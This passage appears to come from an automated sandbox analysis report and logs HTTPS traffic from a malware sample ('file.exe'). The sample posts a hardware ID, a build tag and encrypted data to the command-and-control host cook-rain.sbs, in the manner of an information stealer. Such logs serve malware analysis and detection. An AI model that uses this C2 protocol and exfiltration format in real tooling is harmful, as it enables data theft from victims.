Nov 19, 2024 19:14:17.504482985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 19:14:17.507148981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	443	7152	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:02 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-19 18:14:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-19 18:14:03 UTC	982	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fikdshebvgesv722adchktvqml; expires=Sat, 15-Mar-2025 12:00:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ha1qVrj20J2SLRmNX19%2BQOlg3cbbEf4%2FoRCjMIpMHPpAANViasZe4K52u1iNEUWha%2BsfrGrAOo8adzInLILNZBEMQF5txVHDflNmPkZnje8rPqkNOxz33yCYzcKWaf%2BP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e522d7b48bd78d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2098&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1553191&cwnd=157&unsent_bytes=0&cid=172f4c0eaa2c66bc&ts=484&x=0"
2024-11-19 18:14:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-19 18:14:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.96.3	443	7152	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:03 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-19 18:14:03 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-19 18:14:04 UTC	978	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ilgba20pfktunumv644alom4jo; expires=Sat, 15-Mar-2025 12:00:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wF%2BuHmpIGlVdCwczBjG3sMfknLPGPcnIXrXNwG6tgKsx8ISCBny618Le2p9iVnXbT8Vd32eD%2F8rRM578ZVMHkAlNdB1IChtCPiOYGOki7q322sJhum17uKLMfFyrkxt3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e522d812e25c32c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1641&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=950&delivery_rate=1759036&cwnd=171&unsent_bytes=0&cid=cacf1cf87f7cc428&ts=425&x=0"
2024-11-19 18:14:04 UTC	391	IN	Data Raw: 34 34 36 63 0d 0a 62 36 43 36 64 4a 58 58 50 4b 69 47 55 51 6e 43 31 76 4b 43 30 64 5a 50 2f 64 69 31 74 4b 78 41 70 6d 35 4a 58 55 49 49 4e 47 6f 55 67 73 78 57 72 2b 4d 51 69 76 55 30 4b 2f 69 69 67 50 65 30 2b 6d 32 63 76 4a 65 4f 79 69 48 4b 48 53 78 78 59 48 35 5a 53 46 58 47 32 78 6a 6d 73 68 43 4b 34 79 6b 72 2b 49 32 4a 6f 4c 53 34 62 63 66 36 30 4e 37 4f 49 63 6f 4d 4b 44 59 74 65 46 67 4a 42 38 7a 64 48 50 43 30 57 4d 6e 71 50 47 79 6e 73 35 50 6f 76 37 38 69 6c 62 57 58 6d 49 34 6c 33 45 78 7a 66 77 39 74 51 41 73 69 77 63 6b 66 74 36 6f 51 30 36 51 30 5a 2b 44 73 30 4f 4f 30 74 43 4f 62 76 4e 37 63 78 43 6a 43 44 53 30 33 4d 6d 46 53 41 67 66 43 33 68 33 36 76 55 7a 45 34 44 74 6e 6f 62 6d 54 6f 50 33 30 4b 6f 66 36 6a 35 61 64 45 4d 63 64 4f Data Ascii: 446cb6C6dJXXPKiGUQnC1vKC0dZP/di1tKxApm5JXUIINGoUgsxWr+MQivU0K/iigPe0+m2cvJeOyiHKHSxxYH5ZSFXG2xjmshCK4ykr+I2JoLS4bcf60N7OIcoMKDYteFgJB8zdHPC0WMnqPGyns5Pov78ilbWXmI4l3Exzfw9tQAsiwckft6oQ06Q0Z+Ds0OO0tCObvN7cxCjCDS03MmFSAgfC3h36vUzE4DtnobmToP30Kof6j5adEMcdO
2024-11-19 18:14:04 UTC	1369	IN	Data Raw: 63 4b 59 57 4c 65 79 52 6f 71 38 63 30 69 6c 70 4a 66 73 70 66 59 58 33 36 57 5a 7a 34 34 6c 79 45 78 7a 66 79 68 76 56 51 73 47 7a 64 73 65 2f 4b 64 65 32 4f 49 2b 62 72 4b 79 6c 65 36 35 74 7a 2b 56 74 4e 48 56 78 79 6e 4e 43 53 77 37 59 43 51 57 44 78 57 43 67 46 62 57 75 46 58 47 37 69 52 72 34 4b 76 65 2b 66 4f 7a 49 64 2f 69 6c 39 4c 50 4a 73 55 49 4a 54 45 6b 5a 6c 41 47 41 4d 33 65 48 50 65 79 56 4d 4c 73 4d 6d 61 72 75 35 44 6c 76 72 41 72 6b 37 76 53 6c 6f 42 69 77 78 52 72 5a 32 42 45 55 51 73 66 67 4f 30 56 2b 62 74 5a 33 4b 51 73 4a 62 6e 30 6c 2b 7a 7a 37 47 32 52 76 39 6a 45 7a 7a 44 42 41 6a 6b 7a 4a 57 78 62 43 77 50 43 33 52 48 36 75 31 6a 4e 35 7a 74 76 6f 62 71 63 36 72 43 77 4c 74 2f 30 6c 39 48 57 59 70 78 4d 47 6a 77 6b 62 55 51 4c Data Ascii: cKYWLeyRoq8c0ilpJfspfYX36WZz44lyExzfyhvVQsGzdse/Kde2OI+brKyle65tz+VtNHVxynNCSw7YCQWDxWCgFbWuFXG7iRr4Kve+fOzId/il9LPJsUIJTEkZlAGAM3eHPeyVMLsMmaru5DlvrArk7vSloBiwxRrZ2BEUQsfgO0V+btZ3KQsJbn0l+zz7G2Rv9jEzzDBAjkzJWxbCwPC3RH6u1jN5ztvobqc6rCwLt/0l9HWYpxMGjwkbUQL
2024-11-19 18:14:04 UTC	1369	IN	Data Raw: 48 7a 75 56 66 48 34 6a 4e 73 70 4c 47 43 35 62 71 34 49 64 2f 30 6c 39 48 57 59 70 78 4d 42 44 67 32 61 58 6b 4c 48 4d 75 59 43 62 6d 73 48 73 33 6f 63 7a 50 67 73 35 58 6f 75 4c 49 6c 6e 36 6a 53 32 4d 55 6a 7a 67 6f 71 4d 69 78 73 56 67 6b 4e 78 4e 51 57 38 4c 4a 4d 32 4f 45 31 65 61 72 30 33 71 43 30 72 47 33 48 2b 75 48 47 32 54 50 53 54 68 34 38 4c 6d 52 52 48 6b 33 64 6c 67 2b 33 73 6c 4b 4b 76 48 4e 67 6f 4c 69 58 36 4c 57 77 4a 5a 43 31 33 73 54 50 4c 73 6f 65 4c 44 38 70 5a 46 6b 45 42 4d 2f 66 47 2f 79 2f 55 38 37 6a 4d 69 76 75 39 4a 66 34 38 2b 78 74 71 61 72 61 32 75 41 70 79 41 56 72 49 47 35 7a 46 67 38 42 67 6f 42 57 38 37 6c 57 77 4f 73 36 59 61 71 37 6d 65 43 37 76 53 53 63 75 74 76 51 7a 79 37 49 41 53 34 38 4a 57 64 54 43 41 48 46 33 Data Ascii: HzuVfH4jNspLGC5bq4Id/0l9HWYpxMBDg2aXkLHMuYCbmsHs3oczPgs5XouLIln6jS2MUjzgoqMixsVgkNxNQW8LJM2OE1ear03qC0rG3H+uHG2TPSTh48LmRRHk3dlg+3slKKvHNgoLiX6LWwJZC13sTPLsoeLD8pZFkEBM/fG/y/U87jMivu9Jf48+xtqara2uApyAVrIG5zFg8BgoBW87lWwOs6Yaq7meC7vSScutvQzy7IAS48JWdTCAHF3
2024-11-19 18:14:04 UTC	1369	IN	Data Raw: 65 6b 71 51 2f 61 4b 79 38 6e 2b 61 36 75 43 65 57 73 64 76 64 79 69 37 4e 43 53 30 2b 4a 57 39 58 44 41 48 49 33 68 58 30 75 6c 48 46 37 48 4d 6c 34 4c 4f 49 6f 4f 76 30 43 49 69 78 32 64 43 4f 50 59 6f 56 61 7a 67 73 4b 67 35 49 41 63 76 65 45 50 4b 35 58 38 7a 73 4e 6d 4f 6b 74 5a 62 6d 73 4c 73 70 6d 72 76 59 30 73 49 73 7a 67 30 71 4d 79 74 6c 58 51 31 4e 6a 4a 67 52 37 2f 55 47 69 74 55 77 66 62 65 6b 6e 4b 43 73 2b 6a 54 66 76 64 75 57 6c 6d 4c 46 48 69 45 31 4c 6d 39 5a 44 51 37 4e 33 78 76 78 75 56 54 44 37 44 56 6b 71 61 61 54 37 4c 32 7a 49 35 4f 30 32 74 7a 4e 4c 34 52 43 61 7a 67 34 4b 67 35 49 49 63 58 56 4f 50 79 35 57 59 72 37 66 58 4c 67 73 35 79 67 36 2f 51 68 6c 62 62 65 31 73 63 6e 7a 41 63 69 4f 69 46 68 55 77 73 4c 7a 39 63 66 35 62 Data Ascii: ekqQ/aKy8n+a6uCeWsdvdyi7NCS0+JW9XDAHI3hX0ulHF7HMl4LOIoOv0CIix2dCOPYoVazgsKg5IAcveEPK5X8zsNmOktZbmsLspmrvY0sIszg0qMytlXQ1NjJgR7/UGitUwfbeknKCs+jTfvduWlmLFHiE1Lm9ZDQ7N3xvxuVTD7DVkqaaT7L2zI5O02tzNL4RCazg4Kg5IIcXVOPy5WYr7fXLgs5yg6/Qhlbbe1scnzAciOiFhUwsLz9cf5b
2024-11-19 18:14:04 UTC	1369	IN	Data Raw: 63 32 32 76 76 5a 50 76 73 72 30 68 6b 72 2f 65 30 38 38 6b 77 41 59 68 50 79 5a 73 56 77 30 48 77 64 6b 63 2f 72 4a 57 7a 65 63 68 4b 2b 37 30 6c 2f 6a 7a 37 47 32 32 76 63 58 59 33 6d 4c 62 51 6a 4a 2f 4a 32 59 57 55 45 33 47 30 68 6e 7a 73 6c 4c 4d 34 54 56 6d 6f 62 75 52 34 4c 79 77 4a 70 61 38 31 74 76 4c 4c 38 41 65 49 54 51 76 5a 6c 38 45 41 49 4b 57 56 76 43 74 48 70 4b 6b 41 6d 61 75 75 70 66 32 38 36 74 6a 68 76 72 51 32 6f 35 36 68 41 30 6e 4d 43 4e 6c 56 51 73 4d 79 4d 6f 45 2b 37 78 57 7a 2b 67 34 5a 61 61 6d 6c 75 2b 36 74 79 36 57 76 64 2f 61 78 43 48 44 54 47 56 2f 4a 33 49 57 55 45 33 68 7a 77 62 36 39 55 47 45 2f 58 4e 73 72 50 54 49 6f 4c 75 35 4a 5a 57 2b 30 4e 76 4a 4a 4d 30 65 49 6a 6f 75 61 6c 49 44 41 73 54 63 46 66 65 6e 57 4d 37 Data Ascii: c22vvZPvsr0hkr/e088kwAYhPyZsVw0Hwdkc/rJWzechK+70l/jz7G22vcXY3mLbQjJ/J2YWUE3G0hnzslLM4TVmobuR4LywJpa81tvLL8AeITQvZl8EAIKWVvCtHpKkAmauupf286tjhvrQ2o56hA0nMCNlVQsMyMoE+7xWz+g4Zaamlu+6ty6Wvd/axCHDTGV/J3IWUE3hzwb69UGE/XNsrPTIoLu5JZW+0NvJJM0eIjoualIDAsTcFfenWM7
2024-11-19 18:14:04 UTC	1369	IN	Data Raw: 76 53 58 2b 50 50 73 62 62 36 68 31 4e 72 44 59 74 74 43 4d 6e 38 6e 5a 68 5a 51 54 63 37 57 45 2f 65 2f 57 4d 37 68 4e 57 47 6c 74 4a 76 6a 76 4c 41 72 6d 37 58 58 33 63 63 6a 77 67 6b 68 4e 43 5a 6e 56 51 34 4c 67 70 5a 57 38 4b 30 65 6b 71 51 54 63 4b 32 34 6c 36 43 73 2b 6a 54 66 76 64 75 57 6c 6d 4c 50 41 43 38 34 49 47 64 56 41 41 6a 47 30 68 50 33 76 55 7a 43 35 44 52 35 73 72 53 5a 35 62 2b 33 4c 5a 75 38 33 74 44 4e 4a 6f 52 43 61 7a 67 34 4b 67 35 49 49 4d 37 66 50 2f 43 75 48 74 57 71 4b 69 75 6e 75 4e 43 34 38 37 55 6d 6c 62 58 61 31 63 67 68 7a 77 6b 68 50 69 64 69 57 78 6f 4f 7a 64 63 53 39 37 70 59 7a 4f 55 38 62 61 65 39 6b 65 69 30 39 47 50 66 76 63 2b 57 6c 6d 4c 71 43 79 67 37 59 48 55 59 45 55 33 46 31 46 61 76 39 56 37 41 37 6a 6c 6c Data Ascii: vSX+PPsbb6h1NrDYttCMn8nZhZQTc7WE/e/WM7hNWGltJvjvLArm7XX3ccjwgkhNCZnVQ4LgpZW8K0ekqQTcK24l6Cs+jTfvduWlmLPAC84IGdVAAjG0hP3vUzC5DR5srSZ5b+3LZu83tDNJoRCazg4Kg5IIM7fP/CuHtWqKiunuNC487UmlbXa1cghzwkhPidiWxoOzdcS97pYzOU8bae9kei09GPfvc+WlmLqCyg7YHUYEU3F1Fav9V7A7jll
2024-11-19 18:14:04 UTC	1369	IN	Data Raw: 37 7a 72 47 33 48 2b 75 4c 56 77 43 7a 44 47 6a 70 79 42 33 78 63 44 78 33 46 7a 78 6d 33 2b 78 37 4d 70 47 73 34 37 76 53 55 38 66 50 73 66 63 33 68 67 6f 57 5a 63 70 59 54 5a 53 5a 67 66 42 5a 51 58 34 79 59 42 4c 66 74 48 6f 33 6e 49 58 6d 6d 74 34 62 6a 39 49 6f 54 75 4b 44 61 30 4e 6b 7a 2b 6a 49 73 4a 53 31 73 51 52 6c 42 31 39 73 59 2b 62 4a 49 69 71 70 7a 5a 4f 44 73 71 61 44 37 39 42 4c 52 2b 73 2b 57 6c 6d 4c 78 44 79 55 78 4a 33 78 48 52 53 72 59 31 52 44 67 70 42 36 45 70 44 55 72 2b 4f 54 65 6f 4c 65 6c 62 63 66 71 68 59 32 62 63 5a 4e 63 65 53 42 75 63 78 59 65 54 5a 71 4b 57 4c 65 6e 48 70 4b 6b 64 47 69 79 70 70 62 6a 70 62 64 71 6f 59 54 35 30 63 67 6e 77 78 78 70 45 53 74 2b 55 55 68 44 67 74 64 57 72 34 77 65 67 71 51 4d 4a 65 43 73 30 Data Ascii: 7zrG3H+uLVwCzDGjpyB3xcDx3Fzxm3+x7MpGs47vSU8fPsfc3hgoWZcpYTZSZgfBZQX4yYBLftHo3nIXmmt4bj9IoTuKDa0Nkz+jIsJS1sQRlB19sY+bJIiqpzZODsqaD79BLR+s+WlmLxDyUxJ3xHRSrY1RDgpB6EpDUr+OTeoLelbcfqhY2bcZNceSBucxYeTZqKWLenHpKkdGiyppbjpbdqoYT50cgnwxxpESt+UUhDgtdWr4wegqQMJeCs0
2024-11-19 18:14:04 UTC	1369	IN	Data Raw: 38 33 2b 4b 48 68 4a 56 33 6c 31 74 37 62 54 38 6b 54 30 67 62 67 6f 42 45 75 66 56 4d 69 72 78 7a 4c 4b 4f 6d 67 75 61 77 6f 69 37 59 68 4f 6e 78 77 43 58 46 47 6a 73 6f 4c 79 56 34 50 69 7a 38 35 67 50 30 75 31 44 4e 38 69 49 72 37 76 53 66 6f 4f 75 4e 62 64 66 36 36 4a 69 4f 4f 6f 52 55 61 77 6f 6a 5a 46 67 50 47 39 4f 56 4d 66 6d 79 58 39 7a 30 4a 47 54 76 6d 71 62 42 38 2f 70 74 6d 66 71 50 68 49 42 69 77 42 31 72 5a 33 41 34 44 56 31 65 6c 59 68 45 36 50 74 48 69 76 4a 7a 4d 2f 4c 36 30 50 4c 7a 37 47 33 59 75 63 58 45 79 43 48 53 44 32 77 42 48 6b 31 59 44 77 7a 55 79 42 76 37 6c 46 33 62 37 67 31 56 74 62 65 65 37 72 53 69 50 4e 2f 30 6c 39 6d 4f 65 76 31 4d 59 33 38 66 4a 42 59 51 54 5a 71 59 49 2f 53 37 55 4d 33 79 49 69 61 48 75 70 66 68 70 61 Data Ascii: 83+KHhJV3l1t7bT8kT0gbgoBEufVMirxzLKOmguawoi7YhOnxwCXFGjsoLyV4Piz85gP0u1DN8iIr7vSfoOuNbdf66JiOOoRUawojZFgPG9OVMfmyX9z0JGTvmqbB8/ptmfqPhIBiwB1rZ3A4DV1elYhE6PtHivJzM/L60PLz7G3YucXEyCHSD2wBHk1YDwzUyBv7lF3b7g1Vtbee7rSiPN/0l9mOev1MY38fJBYQTZqYI/S7UM3yIiaHupfhpa
2024-11-19 18:14:04 UTC	1369	IN	Data Raw: 31 4a 61 41 59 74 78 4d 63 33 38 4e 65 46 45 59 44 6f 44 30 45 66 71 35 48 74 57 71 4b 69 75 32 39 4d 69 7a 2f 66 51 2f 33 2b 4b 58 6b 63 30 77 31 67 6f 6f 4b 53 4d 74 61 44 59 67 30 4e 38 47 39 50 64 76 78 2b 41 6c 66 71 4f 6b 6c 39 36 4e 6d 54 2b 59 71 74 53 55 36 78 69 47 50 54 30 38 49 47 52 52 53 45 4f 43 77 46 61 76 39 58 50 59 34 79 4e 6f 34 70 47 71 6f 6f 4b 69 4c 70 2b 30 30 4a 62 52 62 4e 31 4d 50 58 39 34 4f 52 68 49 48 34 4b 41 56 72 43 37 55 38 76 6e 50 57 69 79 70 70 62 6a 70 62 64 71 6f 59 54 34 33 63 38 79 79 52 30 6d 4f 7a 5a 55 61 43 38 4c 78 39 38 6f 79 59 4a 50 7a 66 52 78 54 61 4f 69 6b 36 44 39 39 44 58 66 34 70 66 78 79 43 66 44 54 47 56 2f 4a 43 6f 4f 53 43 4c 4a 32 51 62 36 70 46 50 4f 38 6e 46 4d 70 72 47 58 6f 50 33 30 49 64 2f Data Ascii: 1JaAYtxMc38NeFEYDoD0Efq5HtWqKiu29Miz/fQ/3+KXkc0w1gooKSMtaDYg0N8G9Pdvx+AlfqOkl96NmT+YqtSU6xiGPT08IGRRSEOCwFav9XPY4yNo4pGqooKiLp+00JbRbN1MPX94ORhIH4KAVrC7U8vnPWiyppbjpbdqoYT43c8yyR0mOzZUaC8Lx98oyYJPzfRxTaOik6D99DXf4pfxyCfDTGV/JCoOSCLJ2Qb6pFPO8nFMprGXoP30Id/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.96.3	443	7152	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:04 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WGP5QTSP5RXADF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18145 Host: cook-rain.sbs
2024-11-19 18:14:04 UTC	15331	OUT	Data Raw: 2d 2d 57 47 50 35 51 54 53 50 35 52 58 41 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 34 30 46 45 39 39 35 37 33 45 30 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 57 47 50 35 51 54 53 50 35 52 58 41 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 47 50 35 51 54 53 50 35 52 58 41 44 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 57 47 Data Ascii: --WGP5QTSP5RXADFContent-Disposition: form-data; name="hwid"EA440FE99573E01763CFCF7E6C45F838--WGP5QTSP5RXADFContent-Disposition: form-data; name="pid"2--WGP5QTSP5RXADFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--WG
2024-11-19 18:14:04 UTC	2814	OUT	Data Raw: f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 4d 6d b7 df b2 9f ab 08 69 Data Ascii: %ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?lMmi
2024-11-19 18:14:05 UTC	985	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ehk16o7l5p2f8694kuha5pr1l; expires=Sat, 15-Mar-2025 12:00:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5PM2qgPa7zRp3kx5WvSpT6xVrVedERklbPtyio%2BB4k7LW5J%2BiJOuepCtuNDjhHFVUHYTvhLys1k%2BmrZ%2BPE5ur7A3ksgVYJ7lhoOjX5LF3COsUZlfB5u7eAjtZfCM3bXN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e522d87ff4b42ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2553&sent=9&recv=22&lost=0&retrans=0&sent_bytes=2829&recv_bytes=19100&delivery_rate=1122645&cwnd=211&unsent_bytes=0&cid=112f8300f6cf550b&ts=735&x=0"
2024-11-19 18:14:05 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-19 18:14:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.96.3	443	7152	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:06 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HKOJ7GX8K26RTWXEMBB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8796 Host: cook-rain.sbs
2024-11-19 18:14:06 UTC	8796	OUT	Data Raw: 2d 2d 48 4b 4f 4a 37 47 58 38 4b 32 36 52 54 57 58 45 4d 42 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 34 30 46 45 39 39 35 37 33 45 30 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 48 4b 4f 4a 37 47 58 38 4b 32 36 52 54 57 58 45 4d 42 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 4b 4f 4a 37 47 58 38 4b 32 36 52 54 57 58 45 4d 42 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --HKOJ7GX8K26RTWXEMBBContent-Disposition: form-data; name="hwid"EA440FE99573E01763CFCF7E6C45F838--HKOJ7GX8K26RTWXEMBBContent-Disposition: form-data; name="pid"2--HKOJ7GX8K26RTWXEMBBContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-19 18:14:06 UTC	978	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tq54bo0tgt7ufrclfu918a9nbm; expires=Sat, 15-Mar-2025 12:00:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M1PiwgchTByrmIlF7ebCldbyIDUKHzQp9aaygiL%2Fc4x2JDrS13NrXEWS5qQKTky14d2qlZLGcHNUl06wfQpvSOstG2lewMLQ1rlAsNwL8fWfWLha3IjGt952mo91QixH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e522d909ba2438e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2460&sent=6&recv=14&lost=0&retrans=0&sent_bytes=2829&recv_bytes=9733&delivery_rate=1164274&cwnd=206&unsent_bytes=0&cid=8f937c57cac9ef2d&ts=651&x=0"
2024-11-19 18:14:06 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-19 18:14:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.96.3	443	7152	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
